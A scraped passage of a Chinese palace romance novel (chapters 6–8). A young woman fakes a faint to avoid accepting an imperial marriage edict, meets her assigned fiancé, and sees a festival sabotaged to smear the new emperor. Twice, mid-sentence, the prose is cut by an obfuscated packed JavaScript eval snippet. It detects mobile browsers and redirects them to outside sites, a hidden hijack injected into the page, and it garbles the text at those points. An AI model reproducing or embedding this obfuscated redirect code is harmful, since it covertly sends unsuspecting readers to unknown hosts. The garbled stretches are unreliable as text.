不想谢明姝突然提到那个人,幼薇垂在身侧的手不自觉绞紧了裙摆,复又很快松开。 她故作难为情:“陛下赐婚于我,我一时欢喜过头,陛下仁慈才不曾怪罪,姐姐就别再令我难堪了。” 谢明姝笑了下:“花朝节见。” 她带着侍女施施然走开,气度雍容。 和谢明姝意味不明地对话一番,幼薇只觉得更累,紧绷的身体突然松懈,只想好好躺下大睡三天。 幼薇欲去寻找父亲,忽然闻到空气中残留的宫宴酒香,今夜吃下的柑橘突然在此刻发作,胃里上下翻涌。 她死死咬住下唇,直到唇瓣都没了血色,指甲紧紧抠着手心,才勉强抑制住想要呕吐的冲动。 她想回家了。 6.第六章 幼薇回到家闷头大睡,直到睡得日晒三竿,才被小桃急促的敲门声吵醒。 “小姐,醒醒,醒醒啊!宫里来人了!” 幼薇尚在梦中,听见“宫里”两个字,整个人猛地惊坐起来。 什么宫里,宫里怎么就来人了?难道,是李承玦命人找她了吗? 可她不是还在家里等着爹爹带她参加庆功宴…… 幼薇心中一片轻盈,鞋子顾不上穿走下床,路过铜镜看了一眼,但见镜中女子双目浮肿,一身素白色穿戴整齐,只是衣襟睡得有些皱,脸上的脂粉浮在皮肤上,眉尾晕开了一小片,唇脂更是褪得只剩唇峰一点淡红。 要多狼狈有多狼狈。 幼薇笑容滞住,看到自己这般模样,一时间,宫宴求亲的记忆浮上脑海。 李承玦是如何将她赐给他的功臣,又是如何不认识她一般说出那些残忍的话,她全都回忆得一清二楚了。 想到那个人,她踉跄后退半步,心脏由云端坠入冰湖,胸腔骤然紧缩,连呼吸都带着滞涩的疼,半分透气的缝隙都没有。 也许睡得太久,也许是她实在不愿面对真相,她的大脑下意识逃避关于昨夜的一切,对她而言,遗忘会让自己好过一些。 可是。 怎么可能忘得掉呢? 便如此刻,她目之所及的一切,处处都在提醒她,昨夜到底发生了什么。 此刻再想到宫里来人,方才的欢喜荡然无存,只有说不尽的抗拒与讨厌。 她不想再看到听到有关他的一切。 可他已是君王,想不知道是不可能的。幼薇努力抑制住发红的眼眶,回去穿上鞋子打开门,小桃一看到幼薇,吓得大叫一声。 “啊!小姐!你怎么变成这样了!奴婢这就伺候小姐打水洗脸!” 幼薇一把按住她的肩:“先别急,你知不知道宫里的人来干什么?来的是谁?” “是宫中的于内官,带了好大的仪仗前来,下了好多赏赐,院子都放不下了!说是……说是来给小姐下婚帖……” 于内侍便是昨日宫宴上那位,想来是新帝手下正当红,这样的事也由他来操办。 通常来说自由订婚是由媒人带人交换庚贴,御赐的亲事则免了这些,直接由宫中来人完成这些仪式。 幼薇却听得眉头一蹙。 婚帖? 不是才赐婚第二天吗,这么快便来下婚帖? 还是,李承玦担心迟则生变,所以尽快将她嫁给别人,免得她死皮赖脸纠缠他,给他的帝王霸业徒增污点? 方才压下那口郁气再次涌了上来,偏又无处消解,最终就这么闷闷地换了身素净衣服,至于眼睛肿,实在没办法。 确认自己没有任何憔悴迹象,幼薇这才赶往前院,迎接宫廷仪仗去了。 - 穿过小院的抄手游廊,过了穿堂与前厅的庭院,终于抵达正堂。 尽管早有心理准备,可看到这个场面幼薇还是呆了呆。 正堂院内如今已被一个又一个大箱子堆满,连个落脚地方都没有,礼官都是“夹缝生存”。 仪仗队和禁卫停在门外,皇家旌旗迎风,禁卫长枪泛冷,光是远远看着已觉天子威仪万千。 东西太多幼薇没地方过去,不得不扶着红漆倚栏踩上地阶,又从倚栏上跨过去,这才顺利走进正堂。 正堂也被堆满了,勉强留出一条供人通过的路。 隔着满堂的赏赐,于内侍正坐在主位喝茶,身后站了两个小黄门,管家恭谨候在一旁,桌上备了瓜果点心等。 见小姐来,管家给小姐请安,幼薇点点头让管家下去,自己上前给内侍见礼。 “于内官安。臣女恭迎圣恩,叩谢陛下隆恩。” “余小姐客气了。” 于内侍放下茶盏,向后瞧了瞧,半天不见其他人,只有幼薇跟她的侍女,不由身子微倾:“你家大人呢?” 幼薇有些尴尬:“家中人丁稀薄,只有我与父亲,并无其他族亲。父亲尚在值中,内官有事说与我也是一样的。” 于内侍把幼薇看了又看,不由想说成亲之事自是长辈做主,你一个小孩子…… 思绪一转,又想到昨夜她在宫宴上的行为,最终没敢轻视。 他扬起个笑脸来,道:“奴婢今日来此,是来送赐婚文书的。” 说到这,他身后的小黄门躬身将手中托盘一呈,明黄色丝绢卷轴躺在上面,边缘还有金线、彩线绣制的龙凤祥云纹样。 幼薇早知他来意,可真看到圣旨赐下,手指不自觉捏紧衣裙。 迫不及待的究竟是庄家?还是李承玦? 见幼薇双目直直盯着圣旨不动,于内侍挂起一个礼貌性的笑脸:“余小姐,御赐婚约,那些俗礼都可省下,陛下体恤,已把一切都安排好,连嫁妆都为您添了,只待您奉旨完婚,这可是大大荣誉,小姐别犹豫了,接旨吧——” 于内侍的话强行将幼薇从情绪中拉扯出来,明黄色的圣旨颜色刺目,也令她清醒了几分。 她轻轻后退到座椅上,屁股挨了个边儿,脚尖踩着地毯,大脑飞速运转思考。 说实话,她并不想与庄怀序成婚。 昨日在宫宴上她当众谢恩,只是一时意气,不想让李承玦的恶劣得逞。 再加上爹爹素与各方势力平衡,若当众拒婚,只会让庄怀序下不来台,也让爹爹凭白因为自己开罪了相府。 同时她也清楚当众抗旨的后果,拂了相府的面子事小,拂了天子的面子才是真正不妥。 李承玦是负心薄情的李言不假,可他也是当今天子。 幼薇再笨,也不会做出这样不顾后果的事来。 但她考虑了一切,不代表她不会考虑自己的终身大事。 爹爹爱她才不愿为她随意配婚。爹爹不看门第财富,只看那人人品如何,能不能爱重于自己。 她根本不认识庄怀序,更谈不上什么了解,接触都没接触过的人,因为一道圣旨嫁过去,和盲婚哑嫁有什么分别? 就算他是宰相之子,名冠京华的状元郎,幼薇也不愿意这样嫁给他。 然而圣旨在前,于内侍又这样皮笑肉不笑地盯着她,看样子是非接不可,根本容不得她推拒。 可她根本不想接,这要怎么办?能不能来个人打晕她? ……等等,晕? 她暗中捏紧拳头,主意馊是馊了点,可是又能如何! 幼薇佯作头疼,手抚额头,忽然白眼一翻,整个人向前一栽,直挺挺倒在了松软厚实的羊毛地毯上,任小桃和于内侍如何叫她,也坚决咬着牙不肯醒来。 - 幼薇一直装到仪仗队离开,确认他们真走了,幼薇才心虚地从床上爬起来,把正在掖被子的小桃吓了一跳。 “小姐,您没事啊?” 幼薇摇摇头,示意她不要说出去,小桃连忙捂住嘴巴,幼薇又问:“婚书和那些东西都抬走了没?” 小桃说没有:“都被管家放起来了,说等老爷回来再定夺。” 幼薇想,昨夜归家后自己倒头就睡,连句话都没和父亲说,父亲定是很担心的。 而且自己不想和相府结亲这件事,也应该与父亲说一声才是。 距父亲散值还早,幼薇便去小厨房做糕点打发时间。 虽然她琴棋书画样样一般,女红也难登大雅之堂,但唯独在做点心这方面颇具天赋,她也喜欢做这件事。 大概是做糕点时,一切都变得很简单,不需要学学算算,不需要坐在那反复练习,只要做了便能很快看见成效,也能令旁人开心。 将牛乳与面粉和在一起时,世界都是安静的,她只需将这一切反复捶打,揉得光滑漂亮。 她想起第一次给李承玦做糕点,她特地做了好多种口味,因为不知道他爱吃甜的咸的,淡一点还是重一点,酸一点还是纯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16515185|185973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甜的,她从天不亮就在小厨房忙活,一直忙到下午,累得手臂都没力气,最终提着两盒糕点给他。 他们在云居寺后面偷偷见面,因为靖边军就在不远的地方驻扎,她把一碟一碟的糕点摆在他面前,李承玦尝了一块,又尝了另一块,问她是怎么做的,他从未吃过这样好吃的糕点。 那一瞬间幼薇一点疲惫都没有了,所有劳累都变成值得,她面颊红红的,眼睛却很亮,没有谦虚,也没有不好意思,只说:“你喜欢,我多做给你,你在军营慢慢吃。” 李承玦却认真摇头:“那样你会很累。” 夸她糕点好吃的人有很多,听到还能吃到更多,他们更多是惊喜与感谢,却从没有人关心过她会不会累。 幼薇至今都形容不出当时涌起的情绪是什么,只知道是热热的,胀胀的,心仿佛被什么东西填满。 后来她终于知道心里是被什么东西填满了,那是心中住着一个人的感觉。 而现在,她做着糕点,回忆起曾经那些过往,忽然有些分不清他当时说的是真话,还是为了哄她爱上他编织的谎言。 至于住在她心里面的人,如今硬生生划破她的胸膛,以最残忍的方式离开她,留下一个不知多久才能愈合的疤。 回过神时,天已经快黑了,灶上烤的糕点已经成了深色,外皮已经干干的,快焦成炭了。 外面传来小桃的声音:“老爷,小姐在小厨房做糕点呢,做了一下午,这会儿应该快好了。” 幼薇连忙熄火,将铁鏊从灶上拿起放到一边,余拓海推门进来,露出爽朗的笑声:“爹在院子里就闻到香气了,让我看看乖女儿又做了什么好吃的。” 铁鏊上一堆半焦的失败糕点,余拓海拿起就往嘴里送,幼薇连忙阻拦,然而父亲已经大口咀嚼起来了。 “嗯!绵绵做的糕点就是好吃!” 余拓海笑着摸摸幼薇的头,眼里满是疼爱与爱怜。 幼薇却红了眼眶。 原来不是所有谎言都是出于伤害,说谎也可以是为了爱你。 而李承玦的谎言,从来与爱无关。 这是最让她难过的地方。 就算为了权势骗她接近她她也认了,他地位低微,无人支持,走到今天全靠他自己杀出的血路,你死我活的争夺中谁又能保持高尚? 可是他无情的态度让她明白,原来他从未爱过她,所以才会迫不及待将她打发干净。 她的喜欢于他而言,更像一种麻烦。 眼泪不受控地涌出,她转头悄悄拭去,默默将话题岔开:“爹爹,宫中来人送婚帖了,可是女儿……不想与庄怀序成亲。” 提起这个,余拓海的表情严肃了起来:“为父还想问你,你与左相之子又是怎么一回事?” 幼薇很想苦笑,这个问题她也想知道。 她摇摇头,看向自己的父亲:“爹爹,我并不认识他,也不知他为何突然请求赐婚,我和你一样毫不知情,正因如此,我想退了这桩婚事。” 闻言,余拓海沉默着双手负后,蹙着眉头在小厨房来回踱步。 幼薇的视线始终跟随父亲的身影。 半晌,余拓海站定,似是下了什么决心,道:“李言……并非良配,但这庄怀序,爹爹倒是十分看好。他性情仁厚,便是你们没了感情,他也不像会薄待你之人,对于这桩婚事,为父希望你再考虑考虑,当然,若你执意退婚,爹也不会阻拦。爹只有你一个女儿,一切都依凭你的意思。” 幼薇陷入沉默。 正如父亲会尊重她的意见,她同样会将父亲的话听进心里。 父亲的话令她犹豫,她相信父亲这样说自有他的道理。 幼薇在家思考两天,最终决定给相府递了一张帖子。 民间有祭灶神、龙神的习俗,百姓都会出来活动,这样的日子男女出来相见,想来并不唐突。 既要成婚,总该出来见一见。 7.第七章 祭龙神灶神是一年中比较重大的活动了,民以食为天,祈求风调雨顺比什么都重要。 春日未至,天还是冷的,约见时间是中午,幼薇穿了件白色比甲,料子是挺括的厚织锦,带着绸缎的柔和光泽,摸上去厚实又绵软,下半身穿了件墨绿色的百迭裙,整体清雅而灵动。 君王丧期未过,女孩子都不宜穿得过于鲜艳,只能捡些素色来穿,幸而少女那张脸是像花苞一样的娇嫩,穿什么都不会显老气。 幼薇乘坐马车,比约定时间稍微早一点点到达鹿鸣春。 鹿鸣春是达官宴请的首选之地,楼中大厨经常在各贵人举办宴会时被借去掌勺,环境好是一方面,更重要的是私密性好,老板到小二上下嘴巴都严,不像寻常酒楼什么人都去得,人多眼杂。 向小二报了自己预定的厢房,小二向楼上摊掌道:“余小姐请,您请的客人也到了。” 幼薇没想到庄怀序到得这么早,脚步顿了下,心里不由思考等下见了人该怎么说。 三层最深处的包厢,推门便有沉水香漫出来,混着房间内的淡淡茶香,是一种恰到好处的清润。 乌木长案光可鉴人,青瓷茶盏沿描着金,屏风后面,是正在弹古筝的琴女,临窗供人休息的卧榻,上面铺着整张白狐皮,狐皮上放着一张方形木几,木几上是一整套茶具,以及冲泡好的茶汤。 庄怀序便坐在狐皮之上静静看书,坐姿清雅端正,头发被玉冠束起,素色常服的袖口松松挽着,露出一截清瘦却骨节分明的手腕,手指轻压书页。 听见门响,好看的眉眼望过来,霎那间仿佛整间室内都明亮起来。 不愧是京中贵女人人想嫁的清贵公子,饶是幼薇对他无感觉,也要承认方才他看过来那一下令她的心狠狠颤了颤。 这时,小二问:“小姐,点菜吗?” 幼薇想了想,对庄怀序道:“公子您是客人,您来点罢。” 庄怀序也不推辞,他将书叩在桌几上,只道:“实不相瞒,某还不饿,若余小姐不介意,上些茶点便是。” 幼薇其实也不饿,对小二点了几道有名的茶点,便让他下去了。 庄怀序起身,从卧榻坐回到桌前,与幼薇相对而坐。 他一手执袖,另只手执起茶壶,骨节泛着淡淡的粉色,倒茶时手腕轻转,茶汤顺着壶嘴落入杯中,不多不少正好七分满。 动作行云流水,带着常年浸润书墨的雅致。 好看的人,做什么都是赏心悦目的。 幼薇连忙双手捧住,送到唇边一小口一小口啜着,新月一般的圆眼睛瞄着庄怀序,犹豫着是开门见山呢,还是先等茶点上来再说。 庄怀序微笑:“是某失了礼数,该是某先登门拜访的,不想新朝事忙,某一时抽不出时间,还望小姐见谅。” 幼薇没想到他人这么好说话,实在跟预想中的不一样。这人家世样貌各个生得好,却还这么平易近人,当真是处处完美,难怪那么多人想嫁给他。 她下意识摆手:“没关系的,事发突然,谁都没想到嘛……” 庄怀序却瞬也不瞬看着幼薇的脸,问:“很突然吗?” “……” 刚还在心中称赞庄怀序其人完美,不想说话竟如此单刀直入,她差点一口茶呛住。为了掩饰尴尬,她连忙放下茶杯,准备再给自己倒杯茶缓缓,顺便想想自己该怎么说。 不想还没碰到晾茶壶,就先被人勾住把手。 他修长的手指在她指尖擦过,一瞬间的触感,幼薇整个人像被烫到般缩回来。 便是和李承玦相识大半年,他们最亲密时也不过是她一时情绪激动抱了他一下,大部分时间他们两个都保持一定距离,从未有过逾矩行为。 庄怀序却似毫无察觉,将她的杯子倒满递到她面前:“小姐怎么不说话?” 两人本就不熟,也没那么多客套话可言,寒暄无意义,既然庄怀序把话递到这里,那就只能开门见山了。 幼薇低头咳了一下,这才开口道:“实不相瞒,庄公子,你与我素不相识,之前更是从未见过面,家父与左相大人私下里也少有往来,那日宫宴之上你为何当众求娶?我想了很久都想不到理由。” “这便是小姐今日来找我的原因吗?若只是想寻得一个答案,某可以回答。” “不。”幼薇摇头,看到庄怀序这张清贵俊俏的脸,好吧,对着这样一张脸说出拒绝的话也是令人不忍的,但她还是坚定道,“我找你,是希望你能重新禀明圣上,请旨退婚。” 闻言,庄怀序扬了扬眉。 幼薇想,大概是京中贵女在他面前人人都争着抢着示好,如今却第一次被人当面拒绝,还是拒婚这样的事,便是他也有些意外罢。 庄怀序微微偏头,只道出两个字:“为何?” 屏风后的琴女也将古筝弹至高潮处,一串又一串的曲调自屏风后倾泻而出。 幼薇咬了咬唇,道:“我对你……并不了解,你我之间也没有任何感情,互不相识谈婚论嫁,岂不糊涂?你该娶一个心仪的女子,京中那么多人喜欢你,你有很多选择的,总之婚姻大事并非而戏,你我都该再三考虑才是。” “那么宫宴那日,小姐为何没有拒绝?” “……” 不愧是昔日状元郎,一开口便犀利得直击要害。 幼薇的眼神飞速闪躲了下,旋即回道:“宫宴上那么多人,我拒绝了你怎么办?总要顾及你的脸面。” 庄怀序仍旧温和地望着她:“你一直如此,为了旁人考虑,连把自己搭上也不顾?” 幼薇嘟嘴小声:“……那倒不是,我也会为自己考虑的。” 庄怀序很快追问,快得几乎没给她思考时间:“那你答应赐婚,是在考虑什么?” 幼薇差点咬到舌头! 心想明明全是按自己的想法和心意在说话,为何这样也能被抓住漏洞进而发问,是她哪里说的不对? 好在她自知头脑笨拙,也不纠结。 他刚说完“她总为旁人考虑”,再拿他当借口显然是不能够了。 幼薇只好佯作羞愧,半真半假道:“好吧,我也是贪慕虚荣的,我在贵女中向来平平无奇,突然被左相之子求婚,也是比较有面子的。” 她坦诚得教让意外。庄怀序哑然一秒,旋即失笑。 “那就更不应该拒婚了。”庄怀序认真看向她,“我愿一辈子成为余小姐的脸面。” “……” 幼薇头一次跟庄怀序打交道,心想这人说话一向直得让人不知道怎么接吗?她实在实在是有点坐不住了! “更何况……” 他瞧着坐立难安的幼薇,神秘一笑:“谁说没有任何感情?” “啊?” 一曲终了,停在高潮处戛然而止,教人沉浸曲中,回味绵长。 伴随温热茶水注入茶杯的声响,他将茶杯推到幼薇面前,清潭般的眼眸望过来,说话的声音也如茶水一般清润。 ——“余小姐,我对你,一见钟情。” - 恰好此时茶点上来,有人敲门打断了厢房里的气氛,也拯救了不知所措的幼薇。 精致茶点一道一道摆在桌上,又给他们换了一壶新的热水,屏风后的琴女得小二吩咐,又弹了一曲轻快的谱子,作为鹿鸣春对贵客的赠送。 忙完这一切,小二出了厢房,唯余二人继续在房中。 幼薇头都抬不起来,只好伸手捻了块龙井酥,送入口中干巴巴地嚼着。 口干了也不好意思抬头拿茶杯喝水——她有点不敢直视庄怀序的眼睛。 满脑子都在回想到底怎么就一见钟情了?何时的事?她不是就跟庄怀序见过一次吗?她怎么一点记忆都没有? 庄怀序又续了一杯茶给她,口吻关切:“余小姐,慢点吃,当心噎着。” “……咳咳咳!” 本来还没事的,庄怀序突然跟她说话,把她吓得真噎住了。 主要是这个人有种说不出来的可怕,幼薇很难形容这种感觉,明明刚见面时还感觉他那么好,可现在他只让她觉得自己在他面前毫无秘密!就算撒谎也会被他捉住漏洞看穿……跟他打交道似乎必须要时刻保持警惕,虽然她也说不清自己要警惕什么。 幼薇喝了杯茶将口中茶点全都顺了下去,她挤出个笑容来:“庄公子,我想了半天,实在不记得我们何时有过交集。何况就算是一见钟情……” 顿了顿,虽然这样说话不太好,可她还是说了。 ——“一见钟情,也是你的情,不是我的。” 她话音落下,本以为这样说会令庄怀序难堪,不想他只是挑了挑眉,看向幼薇时,眼中兴趣更浓。 “余小姐可有心上人?” 幼薇心下黯然一瞬:“……不曾。” “令尊可有心仪的夫婿人选?” “也不曾。” “某可令你心生厌恶?” “不会。”顿了顿,又客观地补了一句,“你很好,没有人会不喜欢你的。” “那余小姐,可是这辈子都不愿与人结亲?” 幼薇摇头:“并非。” 庄怀序的拇指摸索着茶杯上的花纹:“既没有心上人,也没有欲结亲对象,又不厌恶某……” 他抬眼:“余小姐,为何不能与我试一试?” - 从鹿鸣春出来,外面人声鼎沸,热闹非凡,原是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16518769|185973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 街上百姓正在游龙。 十数米长的草龙,壮汉擎着它在街道上舞来挥去,几个布衣孩童跟着龙尾奔跑,一边跑一边拍手:“祭龙神,祭龙神,地里苗儿蹿得匀!龙神灵,龙神亲,一年到头笑盈盈!” 幼薇被这热闹感染,看得入神,庄怀序瞧见了,在一旁道:“想来河边正在祭神,余小姐若感兴趣,不妨一同去瞧瞧。” 幼薇转脸看向他,点点头。 举行祭神活动的地方不在内城,要靠近外城一些,二人上了各自的马车。 车内,小桃问幼薇:“小姐,那庄公子同意退婚了吗?” 幼薇双手拢着暖炉,叹了口气:“先不退了。” “啊?怎么了?” 幼薇很难解释。 或许是庄怀序口才太好,又或者庄怀序本人比她想象中要更……意外一些,总之,她开始觉得他的提议也不错。 父亲会满意他,看起来也是桩不错的婚事,何况跟这人聊天虽令她紧张,想来也是不熟悉的缘故,但她知道自己是不讨厌他的。 既不讨厌,那便试一试。 更何况。 人不能一辈子活在过去中,更不可过度沉溺悲伤,她该向前看的。 马车行至汴河边,找了个可以停车的位置下车,幼薇和庄怀序混入百姓中,一同观看祭祀活动。 河水边设了大大的祭坛,黑色桌布上面摆了猪头、烧鸡、火腿、五谷、酒水、水果等,香烛缭绕。 在各个街道游龙的百姓带着各自的龙回到祭祀台前,共九条龙,有的是草龙,有的是青色布龙,最中间的是一条金龙。 附近围绕的稚童又在拍手唱童谣:“祭龙神,祭龙神!地里苗儿蹿得匀!苗儿壮,穗儿沉,囤里粮食堆山形……” 这时,里正在百姓的簇拥下走到祭坛前,手里握着三根一米高的香。 小孩子叫得更欢了:“祭龙神咯!” 里正先是讲了些祈求龙神保佑风调雨顺、五谷丰登之类的话,接着又向东方敬酒三杯。 虔诚的百姓纷纷跪拜行礼,里正上前,对着火把将高香点燃。 然而,这香在火把上烧了一会儿,挪到一旁,竟不见点燃;里正重将高香挪回火上,再点,再看,火把仍是没有燃着的迹象。 有人上来给里正换了三支高香,再试,仍旧没有点燃。 人们没等来预想中的场景,不由抻脖子看。 这时,只听跪着的人群中有人犹豫着开口:“为什么点不着?是不是龙神发怒,不肯收我们的祭品?” 不知是谁在人群中呵斥:“别乱说!陛下刚登基,福泽深厚着呢,自会保佑我们!” 这话刚说完,祭坛上供桌的桌布突然无故自燃。 火先是烧了一角,紧接着舔舐而上,整桌贡品都被突如其来的火包围起来。 里正大惊失色,几乎要向后昏倒,被人从身后架住。 他按着胸口,喃喃道:“这……好端端的,怎会……” 反应快的连忙大呼:“救火!快救火啊!” 原本准备叩拜的百姓们,此时全都直起腰身来,茫然无措地向祭坛上张望。 速度快的已经提着脱了外衣从河里取水救火。 好好的祭祀,现下已是一片混乱。 人群中不知是谁大喊:“定是新帝得位不正,惹真龙发怒!只有真龙天子才能令龙神庇佑!” “陛下得位不正,血脉不纯,龙神发怒,降下惩罚!” “对,一定是新帝惹龙神发怒了,一定是这样!” “这可怎么办,龙神发怒了,我们的庄稼怎么办?今年还能有收成吗?” 起先只有那几道声音,渐渐的,百姓也开始低声嘀咕起来,虽不敢大声说什么,但是怀疑已经写在了脸上。 场面越来越乱,幼薇起初还觉得热闹,直到火烧起来,有人喊出那些话,她站在外圈也瞧出不对:“祭祀的事,关陛下什么事?” 庄怀序怕混乱的百姓冲撞到幼薇,不由抬臂将人虚虚护住,又隔了一段礼貌距离,将幼薇带离河边。 将幼薇送上马车,他站在车外微微蹙眉,歉意也写在脸上:“抱歉,本意是想陪你走走,实在没想到会发生这样的事,恐怕某得立即进宫一趟,好对圣上表明此事。” 幼薇扶着车门点点头,叮嘱他路上小心。 就算已经毫无瓜葛,龙神发怒也是无稽之谈,她不希望看到有人污蔑抹黑他。今日之事摆明有人借机生事,偏偏鬼神之说百姓最为相信,怕是早有预谋。 二人就此分开,幼薇打道回府,准备将暂不退婚的消息告知父亲。 至于庄怀序,已经匆匆向着皇宫的方向赶去。 8.第八章 庄怀序入宫连朝服都未曾换,得了内侍通禀便进了紫宸殿。 殿内烧着暖融融的炭火,冬日刚过,可天还没暖,殿角的窗台上还插着新折的春梅。 殿内两侧坐了六七位大臣,他的父亲庄修齐和新任右相楚元胥都在其中,另有几个新被提拔上来的年轻官员也在,此刻正拘谨地坐着,手里捧着奏章,似乎被打断了议事。 李承玦着帝王常服,坐在紫檀龙椅上,一手扶额,另只手的指尖搭在扶手上轻轻点着,手上戴了一个玉扳指。明明是慵懒的姿态,仍旧教人觉得天子圣颜不可直视。 他向陛下行了礼,得令平身后方直起腰身。 李承玦身姿微动,手肘撑在扶手上,指尖轻抵下颌,如闲聊一般开口:“爱卿有何事禀报?朕若没记错,你今日可是告了假。” 帝王如此,臣下却不敢怠慢。 庄怀序连忙拱手,将河边祭神以及发生的意外,还有百姓议论纷纷的话,通通禀报给了圣上。 待他说完,原本坐在凳子上的大臣全都坐不住了,纷纷起身跪在殿中叩首:“陛下息怒!” 李承玦的出身朝野上下人尽皆知,他继位时已经有许多大臣不满,认为他有异族血脉,传位给他会令真龙血脉有染,所以十四皇子不该继承大统。 李承玦听完,只是淡笑着,下一秒,殿外涌入大批靖边军,刀锋迅速划破皮肉,还没反应过来,热血已经溅得到处都是。 漆柱,烛台,砖缝,大臣的脸和白色孝服。 顷刻之间,那些反对之人通通倒在了地上,脸上写满不可置信。 李承玦是殿内唯一身上没有溅血的人,他笑意不变,看向瑟瑟发抖的众人:“众卿还有异议吗?” 所有人都跪了下来。 ——无论他们真心服从还是假意归降,总之无人再敢公然反对。 而这些识时务的臣子已于年前获赏,庆功宴上又加官晋爵,至此,私下里反对的声量也小了很多。 是以,大臣们听到这些大逆不道的话,跪下来一方面是防李承玦动怒,另一方面,大殿冲进侍卫杀人的场面实在令人心有余悸。 亲身经历者,甚至有人整月碰不得荤腥。 龙有逆鳞,不外如是。 殿角那尊鎏金香炉里飘出细细的烟,在光里若隐若现。 一声轻笑自上首传开,李承玦放下手臂缓缓后倚,薄而翘的唇角微弯:“何怒之有?朕高兴还来不及。” 他垂眼,修长手指缓缓摩挲着扶手上的紫金龙兽,口吻轻慢:“正愁抓不着人,这不就自己冒出来了?都起来罢。” “谢陛下。” 众人扶着凳子起身,重新坐好。 楚元胥没坐,手持羽扇拱手道:“禀陛下,臣请命彻查此事。” “好啊。”李承玦温和应着,“右相替朕看看,朕的那些个皇兄们想出的什么好把戏。” 宫变那日皇子们杀的杀,囚得囚,六皇子李承稷混乱中被人救走,九皇子李承尧和十一皇子李承厦也一并失踪,现在都找不到人,后二者的母妃已经幽禁于冷宫,六皇子一派的亲族皆已处置,生母被赐死。 这都是半年前的事了。半年间关于三位皇子的踪迹仍在寻找,可他们就像凭空消失了一般,本以为是逃命去了,不想一场春祭竟再次冒出来,还使用这般手段,看来对皇位仍旧是没有死心,不惜以血脉之论攻陷。 如此危及社稷的大事,陛下轻描淡写带过了,他们却不敢不当回事,陛下的性子愈发捉摸不透,小心恭谨总是对的。 李承玦仍旧温和地笑着,看向站在殿中的庄怀序,用闲话家常的口吻开口:“爱卿游玩中途抛下余家小姐,专门向朕禀报此事,倒是朕打扰爱卿休假了。” 庄怀序后背忽然沁出一层薄汗。 他告假并未说明理由,连父亲都不清楚,他与余幼薇相处不过半日,陛下竟知晓得如此清楚。 也就是说,今日之事,或许陛下早在他回禀之前就已收到了消息? 这句话看似关切,可其中的遐想空间令人毛骨悚然! 陛下继承大统不过半年,竟已在京中布下如此情报网。他平日里不仅要披览奏章、裁断政务,还要从盘根错节的贵族手中步步夺回权势,在朝野暗流中巧妙平衡各方势力,更要审慎敲定中枢与地方的人员任用,甚至还派人搜捕不明失踪的三位皇子,同时兼顾这些还能完成这样的布置,这份精力与手腕,几乎有些恐怖了…… 除了楚元胥,其他人的表情不由暗中变了变。 庄怀序垂首,拱手回禀:“这都是臣等分内之事,余小姐也瞧出此事是针对陛下而来,让臣立即上报。事关社稷安危,绝无可能打扰。” 李承玦唇角笑意淡了,没说话,缓缓摩挲玉扳指。 “是吗。”他抬首应着,“余小姐如此深明大义,爱卿日后定要好好待她才是。” “臣遵旨。” “好了,爱卿也累了,退下罢。” “是。” 庄怀序缓缓退下,待到殿门口,他听见李承玦淡淡的声音:“继续议事罢。” - 晚间。 已是二更天,紫宸殿的灯火仍旧亮着,议事的大臣早已散去,值夜的宫女内侍垂手立在角落,呼吸都放得极轻,像殿里的铜鹤摆件一般,不见任何存在感。 朱砂笔墨在奏折上落下最后一笔,李承玦将毛笔搁在一边,奏折也放在一旁晾着。 于内侍眼尖,瞧见帝王搁笔的空档,暗中打手势让宫女奉茶。 一名宫女手捧托盘,轻步上前,描金茶碗与一碟精致糕点无声置于帝王手边,随后,悄无声息地退下。 李承玦啜了口茶,顺手拈起一块糕点,甫一入口眉头便蹙了下,不过很快恢复如常。 于内侍连忙上前:“陛下,可是这糕点不合胃口?哪里不好尽可告诉奴婢,奴婢责令御膳房改正。” 太甜。 味道也无聊。 和那些普通糕点没什么分别。 李承玦淡淡抬首:“没什么,做得很好。” 没必要有那么多讲究,只是就茶而已。 他将手里的糕点放回碟子里,没有再碰。 不多时,殿外的殿头进来通传:“启禀陛下,缇骑司指挥使卫昭大人求见。” “传。” 卫昭一身玄衣,腰束革带,佩刀入殿,向圣上行礼。 李承玦没抬头,笔尖在另一本奏折上移动:“查到了?” 卫昭:“回陛下,祭祀的一应用品和经手人员都已细细查过。香火外层涂了桐油,故而点不着;桌布灰烬里有硫磺与硝石粉,祭祀用的蜡烛也被动过手脚,滴落的蜡油恰好能引燃药粉。只是……置办这些物品的杂役,已于昨日在家中被灭口。” 李承玦停了笔,搁在笔架上,抬起头,桌案上的灯芯突然“哔剥”一声。 烛火微晃,他摩挲着拇指上的玉扳指,神色晦暗不明。 若说午时还是推测,现在便是实证了。桐油是用来防火防腐之物,可以隔绝水火,民间不难买到;硫磺同样是易得之物,百姓也常用。 然而硝石粉却管控严格。 便是军中取用,也是一笔一笔查问记录,寻常百姓极难接触,更何况,关于硫磺与硝石粉达到点燃用量的配比,也只有军中工匠才知道。 所以,此事是何人所为,答案昭然若揭。 卫昭料想圣上此刻心情定然不佳。他是李承玦在西北的亲卫,从李承玦还是士兵时就跟他一起并肩作战,后来李承玦立功越来越多,渐渐有了自己的靖边军,还将缇骑卫交给他掌管。 缇骑卫在军中就是精锐,负责暗杀、侦查与奇袭等。 直到李承玦彻底掌权,所做的第一件事便是将缇骑卫从靖边军中单独分出来,成立了直属皇帝一人的缇骑司,仍旧由他掌管。 